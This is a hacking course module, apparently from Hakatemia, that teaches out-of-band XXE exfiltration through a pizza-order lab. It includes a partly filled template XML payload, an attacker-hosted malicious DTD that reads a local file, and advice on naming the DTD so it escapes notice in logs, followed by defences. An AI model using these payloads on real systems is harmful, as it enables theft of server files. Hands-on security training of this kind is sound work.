In the previous module we were able to printout the contents of a file through error-based techniques. But what if the application does not return any errors or reveal anything on the client side? 

In this case it is harder to detect XXE vulnerabilities even though they exist. It is still possible to retrieve for example contents of a file through an Out-Of-Band attack and that is what we are going to learn in this module.

So as we already know, in a regular XXE attack, the attacker gets data back in the response — that is in-band. But when responses or errors do not include any data, attackers can use OOB channels, like DNS or HTTP, to exfiltrate data. This is known as an Out-of-Band (OOB) XXE attack, where the server makes a separate request to an attacker-controlled system, unknowingly leaking information. OOB attacks are particularly useful in blind scenarios where no immediate feedback is available through the application's interface. They are also harder to detect, since the response doesn’t contain the attack’s result and the exfiltration happens through a completely different network path.

OOB techniques should be used when traditional, in-band methods fail to return results or show errors. It’s good for blind vulnerabilities where the server processes malicious input but doesn’t respond with any visible output. OOB is also useful when you are targeting systems in restricted environments that still allow outbound traffic. It  could help bypass logging and output filtering by relying on connections initiated by the server to attacker controlled infrastructure.

Firewalls/filters block error messages or output

You suspect XML parsing but don’t see direct XXE responses

The attacker doesn’t control the response

The flow is almost the same as in the last module and goes like this:

Attacker crafts malicious XML with external DTD reference

Target application parses the XML with DTDs enabled

External DTD contains payload to read local files or system data

DTD uses an entity to trigger an OOB request

Target server makes a network request (HTTP/DNS)

Attacker monitors the server and captures the leaked data

Now repeat the steps yourself by using what you have learnt so far and get the flag. It is recommended to complete the previous module first as this lab starts with the same steps and ends with a slightly different DTD.

Note the same as in previous module. All XML processors, including the XML processor of this lab, do not support HTTPS for the URL of an external entity. Therefore, use unencrypted HTTP in URLs.

Could the listener tool that Hakatemia provides be helpful somehow?

In this lab, your goal is to exploit an XXE Out-Of-Band vulnerability in an application that does not reflect any parameters or errors from the XML. Your goal is to find a way to somehow read the contents of a file. 

XXE OOB

We used attackers machine to host the malicious DTD file in the previous module and the same steps can be used here too. You have an Apache web server deployed and it serves files from 

Set a similar payload on the target application.

Pro tip: The .dtd file does not have to be named malicious.dtd. Just remember to reference to it with the correct filename in the XML payload. In a real life attack scenario, it would be harder to find something that could actually exist (like pizza_toppings.dtd) from the logs, than something that could be related to an attack (malicious.dtd).

parts with proper values. As a limitation the lab does not easily output file contents that have linebreaks or spaces in them (for example /etc/passwd), so focus on the secret-recipe.txt.

Your end goal is to somehow find a way to reflect the contents of the secret-recipe.txt back to you outside of the application.

To prevent XXE and OOB attacks, applications should disable support for DTDs (Document Type Definitions) in XML parsers whenever possible. This prevents the use of external entities, which are the core mechanism exploited in XXE. Developers should also use secure and well-maintained XML libraries that are hardened by default.

Additionally, server-side outbound network access should be restricted to prevent unauthorized DNS or HTTP requests to attacker-controlled systems.

## What if there is no printout at all?

In the previous module we were able to printout the contents of a file through error-based techniques. But what if the application does not return any errors or reveal anything on the client side? 

In this case it is harder to detect XXE vulnerabilities even though they exist. It is still possible to retrieve for example contents of a file through an Out-Of-Band attack and that is what we are going to learn in this module.

---

## What is "Out-of-Band" (OOB)?

So as we already know, in a regular XXE attack, the attacker gets data back in the response — that is in-band. But when responses or errors do not include any data, attackers can use OOB channels, like DNS or HTTP, to exfiltrate data. This is known as an Out-of-Band (OOB) XXE attack, where the server makes a separate request to an attacker-controlled system, unknowingly leaking information. OOB attacks are particularly useful in blind scenarios where no immediate feedback is available through the application's interface. They are also harder to detect, since the response doesn’t contain the attack’s result and the exfiltration happens through a completely different network path.

---

## When should you use the OOB technique?

OOB techniques should be used when traditional, in-band methods fail to return results or show errors. It’s good for blind vulnerabilities where the server processes malicious input but doesn’t respond with any visible output. OOB is also useful when you are targeting systems in restricted environments that still allow outbound traffic. It  could help bypass logging and output filtering by relying on connections initiated by the server to attacker controlled infrastructure.

So in short it should be used when:

- Firewalls/filters block error messages or output
- You suspect XML parsing but don’t see direct XXE responses
- The attacker doesn’t control the response
- You want to exfiltrate data stealthily

---

## Example of the attack

The flow is almost the same as in the last module and goes like this:

- Attacker identifies an XML input point
- Attacker crafts malicious XML with external DTD reference
- Target application parses the XML with DTDs enabled
- External DTD contains payload to read local files or system data
- DTD uses an entity to trigger an OOB request
- Target server makes a network request (HTTP/DNS)
- Attacker monitors the server and captures the leaked data

---

## Exercise

Now repeat the steps yourself by using what you have learnt so far and get the flag. It is recommended to complete the previous module first as this lab starts with the same steps and ends with a slightly different DTD.

Note the same as in previous module. All XML processors, including the XML processor of this lab, do not support HTTPS for the URL of an external entity. Therefore, use unencrypted HTTP in URLs.

@exercise d69d9e73ec83

---

## Repeat the steps

We used attackers machine to host the malicious DTD file in the previous module and the same steps can be used here too. You have an Apache web server deployed and it serves files from **/root/web **directory. 

Set a similar payload on the target application.

```xml
<!DOCTYPE order [
<!ENTITY % xxe SYSTEM "SOMETHING_HERE/malicious.dtd">
%xxe;
]>
<order>
<toppings>
<topping>Mozzarella</topping>
....
```

And in the **/root/web/malicious.dtd**. 

```xml
<!ENTITY % file SYSTEM "file:///SOMETHING_HERE">
<!ENTITY % all "<!ENTITY exfil SYSTEM 'SOMETHING_HERE'>">
%all;
```

Pro tip: The .dtd file does not have to be named malicious.dtd. Just remember to reference to it with the correct filename in the XML payload. In a real life attack scenario, it would be harder to find something that could actually exist (like pizza\_toppings.dtd) from the logs, than something that could be related to an attack (malicious.dtd).

Replace the **SOMETHING\_HERE **parts with proper values. As a limitation the lab does not easily output file contents that have linebreaks or spaces in them (for example /etc/passwd), so focus on the secret-recipe.txt.

Your end goal is to somehow find a way to reflect the contents of the secret-recipe.txt back to you outside of the application.

---

## How to protect from OOB attacks

To prevent XXE and OOB attacks, applications should disable support for DTDs (Document Type Definitions) in XML parsers whenever possible. This prevents the use of external entities, which are the core mechanism exploited in XXE. Developers should also use secure and well-maintained XML libraries that are hardened by default.

Additionally, server-side outbound network access should be restricted to prevent unauthorized DNS or HTTP requests to attacker-controlled systems.


XXE Out Of Band

XML is superficially a simple protocol, tags and attributes. However, XML has hidden capabilities that unfortunately are often not disabled by default in XML handlers...

XML is a relatively simple protocol, consisting of tags and attributes. However, XML has hidden abilities that unfortunately are often not disabled by default in XML processors...

XXE Out Of Band

What if there is no printout at all?

Learn to hack — start here